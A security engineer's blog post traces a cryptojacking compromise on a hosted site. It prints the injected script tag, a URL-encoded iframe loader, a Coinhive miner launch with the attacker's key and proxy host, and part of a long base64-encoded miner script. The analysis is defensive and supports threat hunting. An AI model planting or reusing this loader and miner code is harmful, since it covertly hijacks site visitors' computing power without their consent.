The injected coinhive iframe - a quick look

Published 01-15-2018 19:55:50

Hi everyone, this is my first blog post so I thought I’d introduce myself:

My name’s Brett, I’m currently a security engineer for a MSP where a portion of my job (as well as being a member of the SOC) is to look after and make sure the abuse queue is dealt with and ensure that the abuse of our services are kept to a minimum. I’m writing this blog post up because I do see this type of compromise a lot and I thought I would share my experiences in how I’ve seen it occuring in the wild in the hope that it will help Threat hunters and other similar roles in discovering and dealing with such compromises and the kind of simple IOCs and data points to look for!

Let’s start at the beginning

The reason it was brought to my attention was from team over at Google let me know that the domain was compromised - intially not much to go on. However looking at the page easily showed the issue:

</body>
<!-- . --><script src="https://www.securedatas.download/jquery-3.2.1.min.js"></script><!-- . --> </html> 

Anyone not up to date on their trendy IOCs won’t know that securedatas.download is actually a malicious site, in this case serving up jquery-3.2.1.min.js whatever that is… So let’s take a look.

Digging deeper

By visiting the site we come across the absolute classic:

image

But ignoring this we can view the source of the page as such in chrome view-source:https://www.securedatas.download/jquery-3.2.1.min.js which shows us this output:

document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%77%77%77%2E%73%65%63%75%72%65%64%61%74%61%73%2E%64%6F%77%6E%6C%6F%61%64%2F%6D%65%6D%62%65%72%73%2E%68%74%6D%6C%22%20%73%74%79%6C%65%3D%22%62%6F%72%64%65%72%3A%30%70%78%20%23%66%66%66%66%66%66%20%6E%6F%6E%65%3B%22%20%6E%61%6D%65%3D%22%66%6F%6F%74%65%72%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%22%30%70%78%22%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%22%30%70%78%22%20%68%65%69%67%68%74%3D%22%31%70%78%22%20%77%69%64%74%68%3D%22%31%70%78%22%20%61%6C%6C%6F%77%66%75%6C%6C%73%63%72%65%65%6E%3E%3C%2F%69%66%72%61%6D%65%3E'));

Now I know what you’re thinking “But Brett, that’s a script running obfuscated code” and you’d be right…

But anyone familiar with javascript may know the unescape function - used to encode and unencode URL encoding - which is easily read and digested by browsers.

Unencoding this using a tool such as CyberChef or JSBeautifier will give us this lovely output:

< iframe src = "https://www.securedatas.download/members.html"
style = "border:0px #ffffff none;"
name = "footer"
scrolling = "no"
frameborder = "0"
marginheight = "0px"
marginwidth = "0px"
height = "1px"
width = "1px"
allowfullscreen > < /iframe>

Finally showing us that this is infact an iframe! Shock, horror, gasps in the distance

As you can see it is not only a 1x1 pixel size, it’s also hiding itself in the footer - a practice also quite typical of the practice of Web beacons - however I can confirm that this is malicious, just wait and see ;)

But what’s down the rabbit hole?

Now the eagle eyed/brainy people among you may have noticed that as an iframe it must be loading something into that frame from a seperate place - in this case continuing on the tradition of using https://www.securedatas.download we’re lead to /members.html:

<html>
<head></head>
<body>


<script src="https://www.securedatas.download/m.js?proxy=wss://www.securedatas.download:8894"></script>
<script>
  var miner = CH.Anonymous('489djE22mdZ3j34vhES98tCzfVn57Wq4fA8JR6uzgHqYCfYE2nmaZxmjepwr3GQAZd3qc3imFyGPHBy4PBWLb4tc1X8ADsu',{throttle: 0.4});
  miner.start();
</script>


</body>
</html>

And there it is, the core coinhive script with the miner variable, the source of the actual miner code, and the UUID string from the malicious actor.

But let’s not stop there.

Mud, anger, and hatred is what’s down here

Let’s have a look at the source of the page loaded by https://www.securedatas.download/m.js?proxy=wss://www.securedatas.download:8894:

new Function(atob("dmFyIF8weDg5ZDkgPSBbCiAgImdldEFjY2VwdGVkSGFzaGVzIiwKICAiZ2V0VG9rZW4iLAogICJfZXZlbnRMaXN0ZW5lcnMiLAogICJwdXNoIiwKICAiZ2V0QXV0b1RocmVhZHNFbmFibGVkIiwKICAiZW5hYmxlZCIsCiAgInNldEF1dG9UaHJlYWRzRW5hYmxlZCIsCiAgImFkanVzdEF0IiwKICAiYWRqdXN0RXZlcnkiLAogICJfYWRqdXN0VGhyZWFkcyIsCiAgImdldFRocm90dGxlIiwKICAic2V0VGhyb3R0bGUiLAogICJzZXROdW1UaHJlYWRzIiwKICAiSm9iVGhyZWFkIiwKICAic2V0Sm9iIiwKICAicG9wIiwKICAiV2ViQXNzZW1ibHkiLAogICJpc1J1bm5pbmciLAogICJGT1JDRV9NVUxUSV9UQUIiLAogICJfdXBkYXRlVGFicyIsCiAgInZlcmlmeVRocmVhZCIsCiAgIl9hdXRoIiwKICAiQXV0aCIsCiAgInRoZW1lIiwKICAiYXV0aCIsCiAgIm9wdGluIiwKICAiX2VtaXQiLAogICJlcnJvciIsCiAgIl9jb25uZWN0IiwKICAiX290aGVyVGFiUnVubmluZyIsCiAgImdldEl0ZW0iLAogICJwYXJzZSIsCiAgImlkZW50IiwKICAiZ3JhY2UiLAogICJzZXRJdGVtIiwKICAic3RyaW5naWZ5IiwKICAiZ2V0TnVtVGhyZWFkcyIsCiAgInN0YXRzIiwKICAiX2hhc2hTdHJpbmciLAogICJjaGFyQ29kZUF0IiwKICAiX29uTWVzc2FnZSIsCiAgIm9uZXJyb3IiLAogICJfb25FcnJvciIsCiAgIm9uY2xvc2UiLAogICJfb25DbG9zZSIsCiAgIm9ub3BlbiIsCiAgIl9vbk9wZW4iLAogICJ0eXBlIiwKICAidXNlciIsCiAgInRvU3RyaW5nIiwKICAiZ29hbCIsCiAgIm9wdF9pbiIsCiAgIl9zZW5kIiwKICAiY29ubmVjdGlvbl9lcnJvciIsCiAgImNvZGUiLAogICJjbG9zZSIsCiAgImRhdGEiLAogICJqb2IiLAogICJfc2V0Sm9iIiwKICAidmVyaWZ5IiwKICAiaGFzaF9hY2NlcHRlZCIsCiAgImhhc2hlcyIsCiAgImFjY2VwdGVkIiwKICAiYXV0aGVkIiwKICAidG9rZW4iLAogICJDSFx4MjBFcnJvcjoiLAogICJpbnZhbGlkX3NpdGVfa2V5IiwKICAiaW52YWxpZF9vcHRfaW4iLAogICJfc3RvcE9uSW52YWxpZE9wdEluIiwKICAicmVzZXQiLAogICJiYW5uZWQiLAogICJmb3VuZCIsCiAgImpvYl9pZCIsCiAgInN1Ym1pdCIsCiAgIm5vbmNlIiwKICAicmVzdWx0IiwKICAiX29uVmVyaWZpZWQiLAogICJ2ZXJpZmllZCIsCiAgImlmRXhjbHVzaXZlVGFiIiwKICAiRk9SQ0VfRVhDTFVTSVZFX1RBQiIsCiAgImZvcmNlRXhjbHVzaXZlVGFiIiwKICAiZm9yY2VNdWx0aVRhYiIsCiAgIkFub255bW91cyIsCiAgIndvcmtlciIsCiAgIm9uUmVhZHkiLAogICJjdXJyZW50Sm9iIiwKICAiam9iQ2FsbGJhY2siLAogICJ2ZXJpZnlDYWxsYmFjayIsCiAgIl9pc1JlYWR5IiwKICAicmVhZHkiLAogICJFeHBlY3RpbmdceDIwZmlyc3RceDIwbWVzc2FnZVx4MjB0b1x4MjBiZVx4MjBceDIycmVhZHlceDIyLFx4MjBnb3RceDIwIiwKICAib25SZWNlaXZlTXNnIiwKICAidmVyaWZ5X2lkIiwKICAicnVubmluZyIsCiAgInBvc3RNZXNzYWdlIiwKICAidmFyXHgyME1vZHVsZT17bG9jYXRlRmlsZTooZnVuY3Rpb24ocGF0aCl7cmV0dXJuXHgyMFx4MjIiLAogICJceDIyK3BhdGh9KX07dmFyXHgyME1vZHVsZTtpZighTW9kdWxlKU1vZHVsZT0odHlwZW9mXHgyME1vZHVsZSE9PVx4MjJ1bmRlZmluZWRceDIyP01vZHVsZTpudWxsKXx8e307dmFyXHgyMG1vZHVsZU92ZXJyaWRlcz17fTtmb3IodmFyXHgyMGtleVx4MjBpblx4MjBNb2R1bGUpe2lmKE1vZHVsZS5oYXNPd25Qcm9wZXJ0eShrZXkpKXttb2R1bGVPdmVycmlkZXNba2V5XT1Nb2R1bGVba2V5XX19dmFyXHgyMEVOVklST05NRU5UX0lTX1dFQj1mYWxzZTt2YXJceDIwRU5WSVJPTk1FTlRfSVNfV09SS0VSPWZhbHNlO3Zhclx4MjBFTlZJUk9OTUVOVF9JU19OT0RFPWZhbHNlO3Zhclx4MjBFTlZJUk9OTUVOVF9JU19TSEVMTD1mYWxzZTtpZihNb2R1bGVbXHgyMkVOVklST05NRU5UXHgyMl0pe2lmKE1vZHVsZVtceDIyRU5WSVJPTk1FTlRceDIyXT09PVx4MjJXRUJceDIyKXtFTlZJUk9OTUVOVF9JU19XRUI9dHJ1ZX1lbHNlXHgyMGlmKE1vZHVsZVtceDIyRU5WSVJPTk1FTlRceDIyXT09PVx4MjJXT1JLRVJceDIyKXtFTlZJUk9OTUVOVF9JU19XT1JLRVI9dHJ1ZX1lbHNlXHgyMGlmKE1vZHVsZVtceDIyRU5WSVJPTk1FTlRceDIyXT09PVx4MjJOT0RFXHgyMil7RU5WSVJPTk1FTlRfSVNfTk9ERT10cnVlfWVsc2VceDIwaWYoTW9kdWxlW1x4MjJFTlZJUk9OTUVOVFx4MjJdPT09XHgyMlNIRUxMXHgyMil7RU5WSVJPTk1FTlRfSVNfU0hFTEw9dHJ1ZX1lbHNle3Rocm93XHgyMG5ld1x4MjBFcnJvcihceDIyVGhlXHgyMHByb3ZpZGVkXHgyME1vZHVsZVtceDI3RU5WSVJPTk1FTlRceDI3XVx4MjB2YWx1ZVx4MjBpc1x4MjBub3RceDIwdmFsaWQuXHgyMEl0XHgyMG11c3RceDIwYmVceDIwb25lXHgyMG9mOlx4MjBXRUJ8V09SS0VSfE5PREV8U0hFTEwuXHgyMil9fWVsc2V7RU5WSVJPTk1FTlRfSVNfV0VCPXR5cGVvZlx4MjB3aW5kb3c9PT1ceDIyb2JqZWN0XHgyMjtFTlZJUk9OTUVOVF9JU19XT1JLRVI9dHlwZW9mXHgyMGltcG9ydFNjcmlwdHM9PT1ceDIyZnVuY3Rpb25ceDIyO0VOVklST05NRU5UX0lTX05PREU9dHlwZW9mXHgyMHByb2Nlc3M9PT1ceDIyb2JqZWN0XHgyMiYmdHlwZW9mXHgyMHJlcXVpcmU9PT1ceDIyZnVuY3Rpb25ceDIyJiYhRU5WSVJPTk1FTlRfSVNfV0VCJiYhRU5WSVJPTk1FTlRfSVNfV09SS0VSO0VOVklST05NRU5UX0lTX1NIRUxMPSFFTlZJUk9OTUVOVF9JU19XRUImJiFFTlZJUk9OTUVOVF9JU19OT0RFJiYhRU5WSVJPTk1FTlRfSVNfV09SS0VSfWlmKEVOVklST05NRU5UX0lTX05PREUpe2lmKCFNb2R1bGVbXHgyMnByaW50XHgyMl0pTW9kdWxlW1x4MjJwcmludFx4MjJdPWNvbnNvbGUubG9nO2lmKCFNb2R1bGVbXHgyMnByaW50RXJyXHgyMl0pTW9kdWxlW1x4MjJwcmludEVyclx4MjJdPWNvbnNvbGUud2Fybjt2YXJceDIwbm9kZUZTO3Zhclx4MjBub2RlUGF0aDtNb2R1bGVbXHgyMnJlYWRceDIyXT1mdW5jdGlvblx4MjBzaGVsbF9yZWFkKGZpbGVuYW1lLGJpbmFyeSl7aWYoIW5vZGVGUylub2RlRlM9cmVxdWlyZShceDIyZnNceDIyKTtpZighbm9kZVBhdGgpbm9kZVBhdGg9cmVxdWlyZShceDIycGF0aFx4MjIpO2ZpbGVuYW1lPW5vZGVQYXRoW1x4MjJub3JtYWxpemVceDIyXShmaWxlbmFtZSk7dmFyXHgyMHJldD1ub2RlRlNbXHgyMnJlYWRGaWxlU3luY1x4MjJdKGZpbGVuYW1lKTtyZXR1cm5ceDIwYmluYXJ5P3JldDpyZXQudG9TdHJpbmcoKX07TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl09ZnVuY3Rpb25ceDIwcmVhZEJpbmFyeShmaWxlbmFtZSl7dmFyXHgyMHJldD1Nb2R1bGVbXHgyMnJlYWRceDIyXShmaWxlbmFtZSx0cnVlKTtpZighcmV0LmJ1ZmZlcil7cmV0PW5ld1x4MjBVaW50OEFycmF5KHJldCl9YXNzZXJ0KHJldC5idWZmZXIpO3JldHVyblx4MjByZXR9O01vZHVsZVtceDIybG9hZFx4MjJdPWZ1bmN0aW9uXHgyMGxvYWQoZil7Z2xvYmFsRXZhbChyZWFkKGYpKX07aWYoIU1vZHVsZVtceDIydGhpc1Byb2dyYW1ceDIyXSl7aWYocHJvY2Vzc1tceDIyYXJndlx4MjJdLmxlbmd0aD4xKXtNb2R1bGVbXHgyMnRoaXNQcm9ncmFtXHgyMl09cHJvY2Vzc1tceDIyYXJndlx4MjJdWzFdLnJlcGxhY2UoL1x4NWNceDVjL2csXHgyMi9ceDIyKX1lbHNle01vZHVsZVtceDIydGhpc1Byb2dyYW1ceDIyXT1ceDIydW5rbm93bi1wcm9ncmFtXHgyMn19TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1wcm9jZXNzW1x4MjJhcmd2XHgyMl0uc2xpY2UoMik7aWYodHlwZW9mXHgyMG1vZHVsZSE9PVx4MjJ1bmRlZmluZWRceDIyKXttb2R1bGVbXHgyMmV4cG9ydHNceDIyXT1Nb2R1bGV9cHJvY2Vzc1tceDIyb25ceDIyXShceDIydW5jYXVnaHRFeGNlcHRpb25ceDIyLChmdW5jdGlvbihleCl7aWYoIShleFx4MjBpbnN0YW5jZW9mXHgyMEV4aXRTdGF0dXMpKXt0aHJvd1x4MjBleH19KSk7TW9kdWxlW1x4MjJpbnNwZWN0XHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyMltFbXNjcmlwdGVuXHgyME1vZHVsZVx4MjBvYmplY3RdXHgyMn0pfWVsc2VceDIwaWYoRU5WSVJPTk1FTlRfSVNfU0hFTEwpe2lmKCFNb2R1bGVbXHgyMnByaW50XHgyMl0pTW9kdWxlW1x4MjJwcmludFx4MjJdPXByaW50O2lmKHR5cGVvZlx4MjBwcmludEVyciE9XHgyMnVuZGVmaW5lZFx4MjIpTW9kdWxlW1x4MjJwcmludEVyclx4MjJdPXByaW50RXJyO2lmKHR5cGVvZlx4MjByZWFkIT1ceDIydW5kZWZpbmVkXHgyMil7TW9kdWxlW1x4MjJyZWFkXHgyMl09cmVhZH1lbHNle01vZHVsZVtceDIycmVhZFx4MjJdPWZ1bmN0aW9uXHgyMHNoZWxsX3JlYWQoKXt0aHJvd1x4MjJub1x4MjByZWFkKClceDIwYXZhaWxhYmxlXHgyMn19TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl09ZnVuY3Rpb25ceDIwcmVhZEJpbmFyeShmKXtpZih0eXBlb2ZceDIwcmVhZGJ1ZmZlcj09PVx4MjJmdW5jdGlvblx4MjIpe3JldHVyblx4MjBuZXdceDIwVWludDhBcnJheShyZWFkYnVmZmVyKGYpKX12YXJceDIwZGF0YT1yZWFkKGYsXHgyMmJpbmFyeVx4MjIpO2Fzc2VydCh0eXBlb2ZceDIwZGF0YT09PVx4MjJvYmplY3RceDIyKTtyZXR1cm5ceDIwZGF0YX07aWYodHlwZW9mXHgyMHNjcmlwdEFyZ3MhPVx4MjJ1bmRlZmluZWRceDIyKXtNb2R1bGVbXHgyMmFyZ3VtZW50c1x4MjJdPXNjcmlwdEFyZ3N9ZWxzZVx4MjBpZih0eXBlb2ZceDIwYXJndW1lbnRzIT1ceDIydW5kZWZpbmVkXHgyMil7TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1hcmd1bWVudHN9aWYodHlwZW9mXHgyMHF1aXQ9PT1ceDIyZnVuY3Rpb25ceDIyKXtNb2R1bGVbXHgyMnF1aXRceDIyXT0oZnVuY3Rpb24oc3RhdHVzLHRvVGhyb3cpe3F1aXQoc3RhdHVzKX0pfX1lbHNlXHgyMGlmKEVOVklST05NRU5UX0lTX1dFQnx8RU5WSVJPTk1FTlRfSVNfV09SS0VSKXtNb2R1bGVbXHgyMnJlYWRceDIyXT1mdW5jdGlvblx4MjBzaGVsbF9yZWFkKHVybCl7dmFyXHgyMHhocj1uZXdceDIwWE1MSHR0cFJlcXVlc3Q7eGhyLm9wZW4oXHgyMkdFVFx4MjIsdXJsLGZhbHNlKTt4aHIuc2VuZChudWxsKTtyZXR1cm5ceDIweGhyLnJlc3BvbnNlVGV4dH07aWYoRU5WSVJPTk1FTlRfSVNfV09SS0VSKXtNb2R1bGVbXHgyMnJlYWRCaW5hcnlceDIyXT1mdW5jdGlvblx4MjByZWFkQmluYXJ5KHVybCl7dmFyXHgyMHhocj1uZXdceDIwWE1MSHR0cFJlcXVlc3Q7eGhyLm9wZW4oXHgyMkdFVFx4MjIsdXJsLGZhbHNlKTt4aHIucmVzcG9uc2VUeXBlPVx4MjJhcnJheWJ1ZmZlclx4MjI7eGhyLnNlbmQobnVsbCk7cmV0dXJuXHgyMG5ld1x4MjBVaW50OEFycmF5KHhoci5yZXNwb25zZSl9fU1vZHVsZVtceDIycmVhZEFzeW5jXHgyMl09ZnVuY3Rpb25ceDIwcmVhZEFzeW5jKHVybCxvbmxvYWQsb25lcnJvcil7dmFyXHgyMHhocj1uZXdceDIwWE1MSHR0cFJlcXVlc3Q7eGhyLm9wZW4oXHgyMkdFVFx4MjIsdXJsLHRydWUpO3hoci5yZXNwb25zZVR5cGU9XHgyMmFycmF5YnVmZmVyXHgyMjt4aHIub25sb2FkPWZ1bmN0aW9uXHgyMHhocl9vbmxvYWQoKXtpZih4aHIuc3RhdHVzPT0yMDB8fHhoci5zdGF0dXM9PTAmJnhoci5yZXNwb25zZSl7b25sb2FkKHhoci5yZXNwb25zZSl9ZWxzZXtvbmVycm9yKCl9fTt4aHIub25lcnJvcj1vbmVycm9yO3hoci5zZW5kKG51bGwpfTtpZih0eXBlb2ZceDIwYXJndW1lbnRzIT1ceDIydW5kZWZpbmVkXHgyMil7TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1hcmd1bWVudHN9aWYodHlwZW9mXHgyMGNvbnNvbGUhPT1ceDIydW5kZWZpbmVkXHgyMil7aWYoIU1vZHVsZVtceDIycHJpbnRceDIyXSlNb2R1bGVbXHgyMnByaW50XHgyMl09ZnVuY3Rpb25ceDIwc2hlbGxfcHJpbnQoeCl7Y29uc29sZS5sb2coeCl9O2lmKCFNb2R1bGVbXHgyMnByaW50RXJyXHgyMl0pTW9kdWxlW1x4MjJwcmludEVyclx4MjJdPWZ1bmN0aW9uXHgyMHNoZWxsX3ByaW50RXJyKHgpe2NvbnNvbGUud2Fybih4KX19ZWxzZXt2YXJceDIwVFJZX1VTRV9EVU1QPWZhbHNlO2lmKCFNb2R1bGVbXHgyMnByaW50XHgyMl0pTW9kdWxlW1x4MjJwcmludFx4MjJdPVRSWV9VU0VfRFVNUCYmdHlwZW9mXHgyMGR1bXAhPT1ceDIydW5kZWZpbmVkXHgyMj8oZnVuY3Rpb24oeCl7ZHVtcCh4KX0pOihmdW5jdGlvbih4KXt9KX1pZihFTlZJUk9OTUVOVF9JU19XT1JLRVIpe01vZHVsZVtceDIybG9hZFx4MjJdPWltcG9ydFNjcmlwdHN9aWYodHlwZW9mXHgyME1vZHVsZVtceDIyc2V0V2luZG93VGl0bGVceDIyXT09PVx4MjJ1bmRlZmluZWRceDIyKXtNb2R1bGVbXHgyMnNldFdpbmRvd1RpdGxlXHgyMl09KGZ1bmN0aW9uKHRpdGxlKXtkb2N1bWVudC50aXRsZT10aXRsZX0pfX1lbHNle3Rocm93XHgyMlVua25vd25ceDIwcnVudGltZVx4MjBlbnZpcm9ubWVudC5ceDIwV2hlcmVceDIwYXJlXHgyMHdlP1x4MjJ9ZnVuY3Rpb25ceDIwZ2xvYmFsRXZhbCh4KXtldmFsLmNhbGwobnVsbCx4KX1pZighTW9kdWxlW1x4MjJsb2FkXHgyMl0mJk1vZHVsZVtceDIycmVhZFx4MjJdKXtNb2R1bGVbXHgyMmxvYWRceDIyXT1mdW5jdGlvblx4MjBsb2FkKGYpe2dsb2JhbEV2YWwoTW9kdWxlW1x4MjJyZWFkXHgyMl0oZikpfX1pZighTW9kdWxlW1x4MjJwcmludFx4MjJdKXtNb2R1bGVbXHgyMnByaW50XHgyMl09KGZ1bmN0aW9uKCl7fSl9aWYoIU1vZHVsZVtceDIycHJpbnRFcnJceDIyXSl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdPU1vZHVsZVtceDIycHJpbnRceDIyXX1pZighTW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXSl7TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1bXX1pZighTW9kdWxlW1x4MjJ0aGlzUHJvZ3JhbVx4MjJdKXtNb2R1bGVbXHgyMnRoaXNQcm9ncmFtXHgyMl09XHgyMi4vdGhpcy5wcm9ncmFtXHgyMn1pZighTW9kdWxlW1x4MjJxdWl0XHgyMl0pe01vZHVsZVtceDIycXVpdFx4MjJdPShmdW5jdGlvbihzdGF0dXMsdG9UaHJvdyl7dGhyb3dceDIwdG9UaHJvd30pfU1vZHVsZS5wcmludD1Nb2R1bGVbXHgyMnByaW50XHgyMl07TW9kdWxlLnByaW50RXJyPU1vZHVsZVtceDIycHJpbnRFcnJceDIyXTtNb2R1bGVbXHgyMnByZVJ1blx4MjJdPVtdO01vZHVsZVtceDIycG9zdFJ1blx4MjJdPVtdO2Zvcih2YXJceDIwa2V5XHgyMGluXHgyMG1vZHVsZU92ZXJyaWRlcyl7aWYobW9kdWxlT3ZlcnJpZGVzLmhhc093blByb3BlcnR5KGtleSkpe01vZHVsZVtrZXldPW1vZHVsZU92ZXJyaWRlc1trZXldfX1tb2R1bGVPdmVycmlkZXM9dW5kZWZpbmVkO3Zhclx4MjBSdW50aW1lPXtzZXRUZW1wUmV0MDooZnVuY3Rpb24odmFsdWUpe3RlbXBSZXQwPXZhbHVlO3JldHVyblx4MjB2YWx1ZX0pLGdldFRlbXBSZXQwOihmdW5jdGlvbigpe3JldHVyblx4MjB0ZW1wUmV0MH0pLHN0YWNrU2F2ZTooZnVuY3Rpb24oKXtyZXR1cm5ceDIwU1RBQ0tUT1B9KSxzdGFja1Jlc3RvcmU6KGZ1bmN0aW9uKHN0YWNrVG9wKXtTVEFDS1RPUD1zdGFja1RvcH0pLGdldE5hdGl2ZVR5cGVTaXplOihmdW5jdGlvbih0eXBlKXtzd2l0Y2godHlwZSl7Y2FzZVx4MjJpMVx4MjI6Y2FzZVx4MjJpOFx4MjI6cmV0dXJuXHgyMDE7Y2FzZVx4MjJpMTZceDIyOnJldHVyblx4MjAyO2Nhc2VceDIyaTMyXHgyMjpyZXR1cm5ceDIwNDtjYXNlXHgyMmk2NFx4MjI6cmV0dXJuXHgyMDg7Y2FzZVx4MjJmbG9hdFx4MjI6cmV0dXJuXHgyMDQ7Y2FzZVx4MjJkb3VibGVceDIyOnJldHVyblx4MjA4O2RlZmF1bHQ6e2lmKHR5cGVbdHlwZS5sZW5ndGgtMV09PT1ceDIyKlx4MjIpe3JldHVyblx4MjBSdW50aW1lLlFVQU5UVU1fU0laRX1lbHNlXHgyMGlmKHR5cGVbMF09PT1ceDIyaVx4MjIpe3Zhclx4MjBiaXRzPXBhcnNlSW50KHR5cGUuc3Vic3RyKDEpKTthc3NlcnQoYml0cyU4PT09MCk7cmV0dXJuXHgyMGJpdHMvOH1lbHNle3JldHVyblx4MjAwfX19fSksZ2V0TmF0aXZlRmllbGRTaXplOihmdW5jdGlvbih0eXBlKXtyZXR1cm5ceDIwTWF0aC5tYXgoUnVudGltZS5nZXROYXRpdmVUeXBlU2l6ZSh0eXBlKSxSdW50aW1lLlFVQU5UVU1fU0laRSl9KSxTVEFDS19BTElHTjoxNixwcmVwVmFyYXJnOihmdW5jdGlvbihwdHIsdHlwZSl7aWYodHlwZT09PVx4MjJkb3VibGVceDIyfHx0eXBlPT09XHgyMmk2NFx4MjIpe2lmKHB0ciY3KXthc3NlcnQoKHB0ciY3KT09PTQpO3B0cis9NH19ZWxzZXthc3NlcnQoKHB0ciYzKT09PTApfXJldHVyblx4MjBwdHJ9KSxnZXRBbGlnblNpemU6KGZ1bmN0aW9uKHR5cGUsc2l6ZSx2YXJhcmcpe2lmKCF2YXJhcmcmJih0eXBlPT1ceDIyaTY0XHgyMnx8dHlwZT09XHgyMmRvdWJsZVx4MjIpKXJldHVyblx4MjA4O2lmKCF0eXBlKXJldHVyblx4MjBNYXRoLm1pbihzaXplLDgpO3JldHVyblx4MjBNYXRoLm1pbihzaXplfHwodHlwZT9SdW50aW1lLmdldE5hdGl2ZUZpZWxkU2l6ZSh0eXBlKTowKSxSdW50aW1lLlFVQU5UVU1fU0laRSl9KSxkeW5DYWxsOihmdW5jdGlvbihzaWcscHRyLGFyZ3Mpe2lmKGFyZ3MmJmFyZ3MubGVuZ3RoKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJkeW5DYWxsX1x4MjIrc2lnXS5hcHBseShudWxsLFtwdHJdLmNvbmNhdChhcmdzKSl9ZWxzZXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJkeW5DYWxsX1x4MjIrc2lnXS5jYWxsKG51bGwscHRyKX19KSxmdW5jdGlvblBvaW50ZXJzOltdLGFkZEZ1bmN0aW9uOihmdW5jdGlvbihmdW5jKXtmb3IodmFyXHgyMGk9MDtpPFJ1bnRpbWUuZnVuY3Rpb25Qb2ludGVycy5sZW5ndGg7aSsrKXtpZighUnVudGltZS5mdW5jdGlvblBvaW50ZXJzW2ldKXtSdW50aW1lLmZ1bmN0aW9uUG9pbnRlcnNbaV09ZnVuYztyZXR1cm5ceDIwMiooMStpKX19dGhyb3dceDIyRmluaXNoZWRceDIwdXBceDIwYWxsXHgyMHJlc2VydmVkXHgyMGZ1bmN0aW9uXHgyMHBvaW50ZXJzLlx4MjBVc2VceDIwYVx4MjBoaWdoZXJceDIwdmFsdWVceDIwZm9yXHgyMFJFU0VSVkVEX0ZVTkNUSU9OX1BPSU5URVJTLlx4MjJ9KSxyZW1vdmVGdW5jdGlvbjooZnVuY3Rpb24oaW5kZXgpe1J1bnRpbWUuZnVuY3Rpb25Qb2ludGVyc1soaW5kZXgtMikvMl09bnVsbH0pLHdhcm5PbmNlOihmdW5jdGlvbih0ZXh0KXtpZighUnVudGltZS53YXJuT25jZS5zaG93bilSdW50aW1lLndhcm5PbmNlLnNob3duPXt9O2lmKCFSdW50aW1lLndhcm5PbmNlLnNob3duW3RleHRdKXtSdW50aW1lLndhcm5PbmNlLnNob3duW3RleHRdPTE7TW9kdWxlLnByaW50RXJyKHRleHQpfX0pLGZ1bmNXcmFwcGVyczp7fSxnZXRGdW5jV3JhcHBlcjooZnVuY3Rpb24oZnVuYyxzaWcpe2Fzc2VydChzaWcpO2lmKCFSdW50aW1lLmZ1bmNXcmFwcGVyc1tzaWddKXtSdW50aW1lLmZ1bmNXcmFwcGVyc1tzaWddPXt9fXZhclx4MjBzaWdDYWNoZT1SdW50aW1lLmZ1bmNXcmFwcGVyc1tzaWddO2lmKCFzaWdDYWNoZVtmdW5jXSl7aWYoc2lnLmxlbmd0aD09PTEpe3NpZ0NhY2hlW2Z1bmNdPWZ1bmN0aW9uXHgyMGR5bkNhbGxfd3JhcHBlcigpe3JldHVyblx4MjBSdW50aW1lLmR5bkNhbGwoc2lnLGZ1bmMpfX1lbHNlXHgyMGlmKHNpZy5sZW5ndGg9PT0yKXtzaWdDYWNoZVtmdW5jXT1mdW5jdGlvblx4MjBkeW5DYWxsX3dyYXBwZXIoYXJnKXtyZXR1cm5ceDIwUnVudGltZS5keW5DYWxsKHNpZyxmdW5jLFthcmddKX19ZWxzZXtzaWdDYWNoZVtmdW5jXT1mdW5jdGlvblx4MjBkeW5DYWxsX3dyYXBwZXIoKXtyZXR1cm5ceDIwUnVudGltZS5keW5DYWxsKHNpZyxmdW5jLEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKGFyZ3VtZW50cykpfX19cmV0dXJuXHgyMHNpZ0NhY2hlW2Z1bmNdfSksZ2V0Q29tcGlsZXJTZXR0aW5nOihmdW5jdGlvbihuYW1lKXt0aHJvd1x4MjJZb3VceDIwbXVzdFx4MjBidWlsZFx4MjB3aXRoXHgyMC1zXHgyMFJFVEFJTl9DT01QSUxFUl9TRVRUSU5HUz0xXHgyMGZvclx4MjBSdW50aW1lLmdldENvbXBpbGVyU2V0dGluZ1x4MjBvclx4MjBlbXNjcmlwdGVuX2dldF9jb21waWxlcl9zZXR0aW5nXHgyMHRvXHgyMHdvcmtceDIyfSksc3RhY2tBbGxvYzooZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMHJldD1TVEFDS1RPUDtTVEFDS1RPUD1TVEFDS1RPUCtzaXplfDA7U1RBQ0tUT1A9U1RBQ0tUT1ArMTUmLTE2O3JldHVyblx4MjByZXR9KSxzdGF0aWNBbGxvYzooZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMHJldD1TVEFUSUNUT1A7U1RBVElDVE9QPVNUQVRJQ1RPUCtzaXplfDA7U1RBVElDVE9QPVNUQVRJQ1RPUCsxNSYtMTY7cmV0dXJuXHgyMHJldH0pLGR5bmFtaWNBbGxvYzooZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMHJldD1IRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdO3Zhclx4MjBlbmQ9KHJldCtzaXplKzE1fDApJi0xNjtIRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdPWVuZDtpZihlbmQ+PVRPVEFMX01FTU9SWSl7dmFyXHgyMHN1Y2Nlc3M9ZW5sYXJnZU1lbW9yeSgpO2lmKCFzdWNjZXNzKXtIRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdPXJldDtyZXR1cm5ceDIwMH19cmV0dXJuXHgyMHJldH0pLGFsaWduTWVtb3J5OihmdW5jdGlvbihzaXplLHF1YW50dW0pe3Zhclx4MjByZXQ9c2l6ZT1NYXRoLmNlaWwoc2l6Z